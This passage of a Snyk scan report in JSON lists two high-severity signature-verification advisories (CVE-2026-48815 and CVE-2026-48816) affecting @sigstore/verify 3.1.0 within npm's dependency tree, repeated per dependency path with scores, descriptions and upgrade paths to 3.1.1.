"SNYK-JS-SIGSTOREVERIFY-17817052", "title": "Improper Verification of Cryptographic Signature", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<3.1.1" ] }, "exploit": "Not Defined", "fixedIn": [ "3.1.1" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "@sigstore/verify", "references": [ { "url": "https://github.com/sigstore/sigstore-js/security/advisories/GHSA-52v5-jr5w-gjxr", "title": "GitHub Advisory" }, { "url": "https://github.com/sigstore/sigstore-js/commit/7845532f9d17f6f765363dbee82b01bd159fb52b", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N", "cvssV3BaseScore": 5.9, "modificationTime": "2026-07-17T14:43:57.541778Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:05:51.665225Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:05:51.665225Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-07-17T14:43:57.541778Z" } ], "description": "## Overview\n[@sigstore/verify](https://www.npmjs.org/package/@sigstore/verify) is a Verification of Sigstore signatures\n\nAffected versions of this package are vulnerable to Improper Verification of Cryptographic Signature due to the `certificateOIDs` option being accepted by the public API but discarded before verification, resulting in required certificate extension OIDs never being checked. An attacker can bypass intended certificate extension constraints by presenting unauthorized certificates that satisfy the remaining verification checks.\n## Remediation\nUpgrade `@sigstore/verify` to version 3.1.1 or higher.\n## References\n- [GitHub Advisory](https://github.com/sigstore/sigstore-js/security/advisories/GHSA-52v5-jr5w-gjxr)\n- [GitHub Commit](https://github.com/sigstore/sigstore-js/commit/7845532f9d17f6f765363dbee82b01bd159fb52b)\n", "epssDetails": { "percentile": "0.08622", "probability": "0.00190", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-48815" ], "CWE": [ "CWE-347" ], "GHSA": [ "GHSA-52v5-jr5w-gjxr" ] }, "packageName": "@sigstore/verify", "proprietary": false, "creationTime": "2026-07-04T16:02:58.656497Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-01T19:58:28Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-04T16:02:58.827211Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:05:51.665225Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/verify@3.1.0" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/verify@3.1.1" ], "isUpgradable": true, "isPatchable": false, "name": "@sigstore/verify", "version": "3.1.0" }, { "id": "SNYK-JS-SIGSTOREVERIFY-17817056", "title": "Insufficient Verification of Data Authenticity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", "credit": [ "Unknown" ], "semver": { "vulnerable": [ ">=3.1.0 <3.1.1" ] }, "exploit": "Not Defined", "fixedIn": [ "3.1.1" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 7.1, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "@sigstore/verify", "references": [ { "url": "https://github.com/sigstore/sigstore-js/security/advisories/GHSA-xgjw-pm74-86q4", "title": "GitHub Advisory" }, { "url": "https://github.com/sigstore/sigstore-js/commit/1663b3e653814bb282ca3840be9c1cd24c71ae0a", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", "cvssV3BaseScore": 6.5, "modificationTime": "2026-07-17T14:39:57.471476Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 7.1, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:05:51.764204Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", "assigner": "Snyk", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:05:51.764204Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-07-17T14:39:57.471476Z" } ], "description": "## Overview\n[@sigstore/verify](https://www.npmjs.org/package/@sigstore/verify) is a Verification of Sigstore signatures\n\nAffected versions of this package are vulnerable to Insufficient Verification of Data Authenticity via the `integratedTime` process. An attacker can manipulate time-based verification decisions by supplying a crafted bundle that sets an unauthenticated value for `integratedTime`, thereby influencing certificate validity checks and bypassing intended trust boundaries.\n## Remediation\nUpgrade `@sigstore/verify` to version 3.1.1 or higher.\n## References\n- [GitHub Advisory](https://github.com/sigstore/sigstore-js/security/advisories/GHSA-xgjw-pm74-86q4)\n- [GitHub Commit](https://github.com/sigstore/sigstore-js/commit/1663b3e653814bb282ca3840be9c1cd24c71ae0a)\n", "epssDetails": { "percentile": "0.05099", "probability": "0.00158", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-48816" ], "CWE": [ "CWE-345" ], "GHSA": [ "GHSA-xgjw-pm74-86q4" ] }, "packageName": "@sigstore/verify", "proprietary": false, "creationTime": "2026-07-04T16:05:50.653211Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-01T19:57:45Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-04T16:05:50.853972Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:05:51.764204Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/verify@3.1.0" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/verify@3.1.1" ], "isUpgradable": true, "isPatchable": false, "name": "@sigstore/verify", "version": "3.1.0" }, { "id": "SNYK-JS-SIGSTOREVERIFY-17817052", "title": "Improper Verification of Cryptographic Signature", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<3.1.1" ] }, "exploit": "Not Defined", "fixedIn": [ "3.1.1" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "@sigstore/verify", "references": [ { "url": "https://github.com/sigstore/sigstore-js/security/advisories/GHSA-52v5-jr5w-gjxr", "title": "GitHub Advisory" }, { "url": "https://github.com/sigstore/sigstore-js/commit/7845532f9d17f6f765363dbee82b01bd159fb52b", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N", "cvssV3BaseScore": 5.9, "modificationTime": "2026-07-17T14:43:57.541778Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:05:51.665225Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:05:51.665225Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-07-17T14:43:57.541778Z" } ], "description": "## Overview\n[@sigstore/verify](https://www.npmjs.org/package/@sigstore/verify) is a Verification of Sigstore signatures\n\nAffected versions of this package are vulnerable to Improper Verification of Cryptographic Signature due to the `certificateOIDs` option being accepted by the public API but discarded before verification, resulting in required certificate extension OIDs never being checked. An attacker can bypass intended certificate extension constraints by presenting unauthorized certificates that satisfy the remaining verification checks.\n## Remediation\nUpgrade `@sigstore/verify` to version 3.1.1 or higher.\n## References\n- [GitHub Advisory](https://github.com/sigstore/sigstore-js/security/advisories/GHSA-52v5-jr5w-gjxr)\n- [GitHub Commit](https://github.com/sigstore/sigstore-js/commit/7845532f9d17f6f765363dbee82b01bd159fb52b)\n", "epssDetails": { "percentile": "0.08622", "probability": "0.00190", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-48815" ], "CWE": [ "CWE-347" ], "GHSA": [ "GHSA-52v5-jr5w-gjxr" ] }, "packageName": "@sigstore/verify", "proprietary": false, "creationTime": "2026-07-04T16:02:58.656497Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-01T19:58:28Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-04T16:02:58.827211Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:05:51.665225Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/verify@3.1.0" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/verify@3.1.1" ], "isUpgradable": true, "isPatchable": false, "name": "@sigstore/verify", "version": "3.1.0" }, { "id": "SNYK-JS-SIGSTOREVERIFY-17817056", "title": "Insufficient Verification of Data Authenticity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", "credit": [ "Unknown" ], "semver": { "vulnerable": [ ">=3.1.0 <3.1.1" ] }, "exploit": "Not Defined", "fixedIn": [ "3.1.1" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 7.1, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "@sigstore/verify", "references": [ { "url": "https://github.com/sigstore/sigstore-js/security/advisories/GHSA-xgjw-pm74-86q4", "title": "GitHub Advisory" }, { "url": "https://github.com/sigstore/sigstore-js/commit/1663b3e653814bb282ca3840be9c1cd24c71ae0a", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", "cvssV3BaseScore": 6.5, "modificationTime": "2026-07-17T14:39:57.471476Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 7.1, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:05:51.764204Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", "assigner": "Snyk", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:05:51.764204Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-07-17T14:39:57.471476Z" } ], "description": "## Overview\n[@sigstore/verify](https://www.npmjs.org/package/@sigstore/verify) is a Verification of Sigstore signatures\n\nAffected versions of this package are vulnerable to Insufficient Verification of Data Authenticity via the `integratedTime` process. An attacker can manipulate time-based verification decisions by supplying a crafted bundle that sets an unauthenticated value for `integratedTime`, thereby influencing certificate validity checks and bypassing intended trust boundaries.\n## Remediation\nUpgrade `@sigstore/verify` to version 3.1.1 or higher.\n## References\n- [GitHub Advisory](https://github.com/sigstore/sigstore-js/security/advisories/GHSA-xgjw-pm74-86q4)\n- [GitHub Commit](https://github.com/sigstore/sigstore-js/commit/1663b3e653814bb282ca3840be9c1cd24c71ae0a)\n", "epssDetails": { "percentile": "0.05099", "probability": "0.00158", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-48816" ], "CWE": [ "CWE-345" ], "GHSA": [ "GHSA-xgjw-pm74-86q4" ] }, "packageName": "@sigstore/verify", "proprietary": false, "creationTime": "2026-07-04T16:05:50.653211Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-01T19:57:45Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-04T16:05:50.853972Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:05:51.764204Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/verify@3.1.0" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/verify@3.1.1" ], "isUpgradable": true, "isPatchable": false, "name": "@sigstore/verify", "version": "3.1.0" }, { "id": "SNYK-JS-SIGSTOREVERIFY-17817052", "title": "Improper Verification of Cryptographic Signature", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<3.1.1" ] }, "exploit": "Not Defined", "fixedIn": [ "3.1.1" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "@sigstore/verify", "references": [ { "url": "https://github.com/sigstore/sigstore-js/security/advisories/GHSA-52v5-jr5w-gjxr", "title": "GitHub Advisory" }, { "url": "https://github.com/sigstore/sigstore-js/commit/7845532f9d17f6f765363dbee82b01bd159fb52b", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N", "cvssV3BaseScore": 5.9, "modificationTime": "2026-07-17T14:43:57.541778Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:05:51.665225Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:05:51.665225Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-07-17T14:43:57.541778Z" } ], "description": "## Overview\n[@sigstore/verify](https://www.npmjs.org/package/@sigstore/verify) is a Verification of Sigstore signatures\n\nAffected versions of this package are vulnerable to Improper Verification of Cryptographic Signature due to the `certificateOIDs` option being accepted by the public API but discarded before verification, resulting in required certificate extension OIDs never being checked. An attacker can bypass intended certificate extension constraints by presenting unauthorized certificates that satisfy the remaining verification checks.\n## Remediation\nUpgrade `@sigstore/verify` to version 3.1.1 or higher.\n## References\n- [GitHub Advisory](https://github.com/sigstore/sigstore-js/security/advisories/GHSA-52v5-jr5w-gjxr)\n- [GitHub Commit](https://github.com/sigstore/sigstore-js/commit/7845532f9d17f6f765363dbee82b01bd159fb52b)\n", "epssDetails": { "percentile": "0.08622", "probability": "0.00190", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-48815" ], "CWE": [ "CWE-347" ], "GHSA": [ "GHSA-52v5-jr5w-gjxr" ] }, "packageName": "@sigstore/verify", "proprietary": false, "creationTime": "2026-07-04T16:02:58.656497Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-01T19:58:28Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-04T16:02:58.827211Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:05:51.665225Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/verify@3.1.0" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.14", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/verify@3.1.1" ], "isUpgradable": true, "isPatchable": false, "name": "@sigstore/verify", "version": "3.1.0" }, { "id": "SNYK-JS-SIGSTOREVERIFY-17817056", "title": "Insufficient Verification of Data Authenticity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", "credit": [ "Unknown" ], "semver": { "vulnerable": [ ">=3.1.0 <3.1.1" ] }, "exploit": "Not Defined", "fixedIn": [ "3.1.1" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 7.1, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "@sigstore/verify", "references": [ { "url": "https://github.com/sigstore/sigstore-js/security/advisories/GHSA-xgjw-pm74-86q4", "title": "GitHub Advisory" }, { "url": "https://github.com/sigstore/sigstore-js/commit/1663b3e653814bb282ca3840be9c1cd24c71ae0a", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", "cvssV3BaseScore": 6.5, "modificationTime": "2026-07-17T14:39:57.471476Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 7.1, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:05:51.764204Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", "assigner": "Snyk", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:05:51.764204Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-07-17T14:39:57.471476Z" } ], "description": "## Overview\n[@sigstore/verify](https://www.npmjs.org/package/@sigstore/verify) is a Verification of Sigstore signatures\n\nAffected versions of this package are vulnerable to Insufficient Verification of Data Authenticity via the `integratedTime` process. An attacker can manipulate time-based verification decisions by supplying a crafted bundle that sets an unauthenticated value for `integratedTime`, thereby influencing certificate validity checks and bypassing intended trust boundaries.\n## Remediation\nUpgrade `@sigstore/verify` to version 3.1.1 or higher.\n## References\n- [GitHub Advisory](https://github.com/sigstore/sigstore-js/security/advisories/GHSA-xgjw-pm74-86q4)\n- [GitHub Commit](https://github.com/sigstore/sigstore-js/commit/1663b3e653814bb282ca3840be9c1cd24c71ae0a)\n", "epssDetails": { "percentile": "0.05099", "probability": "0.00158", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-48816" ], "CWE": [ "CWE-345" ], "GHSA": [ "GHSA-xgjw-pm74-86q4" ] }, "packageName": "@sigstore/verify", "proprietary": false, "creationTime": "2026-07-04T16:05:50.653211Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-01T19:57:45Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-04T16:05:50.853972Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:05:51.764204Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/verify@3.1.0" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.14", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/verify@3.1.1" ], "isUpgradable": true, "isPatchable": false, "name": "@sigstore/verify", "version": "3.1.0" }, { "id": "SNYK-JS-SIGSTOREVERIFY-17817052", "title": "Improper Verification of Cryptographic Signature", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<3.1.1" ] }, "exploit": "Not Defined", "fixedIn": [ "3.1.1" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "@sigstore/verify", "references": [ { "url": "https://github.com/sigstore/sigstore-js/security/advisories/GHSA-52v5-jr5w-gjxr", "title": "GitHub Advisory" }, { "url": "https://github.com/sigstore/sigstore-js/commit/7845532f9d17f6f765363dbee82b01bd159fb52b", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N", "cvssV3BaseScore": 5.9, "modificationTime": "2026-07-17T14:43:57.541778Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:05:51.665225Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:05:51.665225Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-07-17T14:43:57.541778Z" } ], "description": "## Overview\n[@sigstore/verify](https://www.npmjs.org/package/@sigstore/verify) is a Verification of Sigstore signatures\n\nAffected versions of this package are vulnerable to Improper Verification of Cryptographic Signature due to the `certificateOIDs` option being accepted by the public API but discarded before verification, resulting in required certificate extension OIDs never being checked. An attacker can bypass intended certificate extension constraints by presenting unauthorized certificates that satisfy the remaining verification checks.\n## Remediation\nUpgrade `@sigstore/verify` to version 3.1.1 or higher.\n## References\n- [GitHub Advisory](https://github.com/sigstore/sigstore-js/security/advisories/GHSA-52v5-jr5w-gjxr)\n- [GitHub Commit](https://github.com/sigstore/sigstore-js/commit/7845532f9d17f6f765363dbee82b01bd159fb52b)\n", "epssDetails": { "percentile": "0.08622", "probability": "0.00190", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-48815" ], "CWE": [ "CWE-347" ], "GHSA": [ "GHSA-52v5-jr5w-gjxr" ] }, "packageName": "@sigstore/verify", "proprietary": false, "creationTime": "2026-07-04T16:02:58.656497Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-01T19:58:28Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-04T16:02:58.827211Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:05:51.665225Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/verify@3.1.0" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/verify@3.1.1" ], "isUpgradable": true, "isPatchable": false, "name": "@sigstore/verify", "version": "3.1.0" }, { "id": "SNYK-JS-SIGSTOREVERIFY-17817056", "title": "Insufficient Verification of Data Authenticity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", "credit": [ "Unknown" ], "semver": { "vulnerable": [ ">=3.1.0 <3.1.1" ] }, "exploit": "Not Defined", "fixedIn": [ "3.1.1" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 7.1, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "@sigstore/verify", "references": [ { "url": "https://github.com/sigstore/sigstore-js/security/advisories/GHSA-xgjw-pm74-86q4", "title": "GitHub Advisory" }, { "url": "https://github.com/sigstore/sigstore-js/commit/1663b3e653814bb282ca3840be9c1cd24c71ae0a", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", "cvssV3BaseScore": 6.5, "modificationTime": "2026-07-17T14:39:57.471476Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 7.1, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:05:51.764204Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", "assigner": "Snyk", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:05:51.764204Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-07-17T14:39:57.471476Z" } ], "description": "## Overview\n[@sigstore/verify](https://www.npmjs.org/package/@sigstore/verify) is a Verification of Sigstore signatures\n\nAffected versions of this package are vulnerable to Insufficient Verification of Data Authenticity via the `integratedTime` process. An attacker can manipulate time-based verification decisions by supplying a crafted bundle that sets an unauthenticated value for `integratedTime`, thereby influencing certificate validity checks and bypassing intended trust boundaries.\n## Remediation\nUpgrade `@sigstore/verify` to version 3.1.1 or higher.\n## References\n- [GitHub Advisory](https://github.com/sigstore/sigstore-js/security/advisories/GHSA-xgjw-pm74-86q4)\n- [GitHub Commit](https://github.com/sigstore/sigstore-js/commit/1663b3e653814bb282ca3840be9c1cd24c71ae0a)\n", "epssDetails": { "percentile": "0.05099", "probability": "0.00158", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-48816" ], "CWE": [ "CWE-345" ], "GHSA": [ "GHSA-xgjw-pm74-86q4" ] }, "packageName": "@sigstore/verify", "proprietary": false, "creationTime": "2026-07-04T16:05:50.653211Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-01T19:57:45Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not 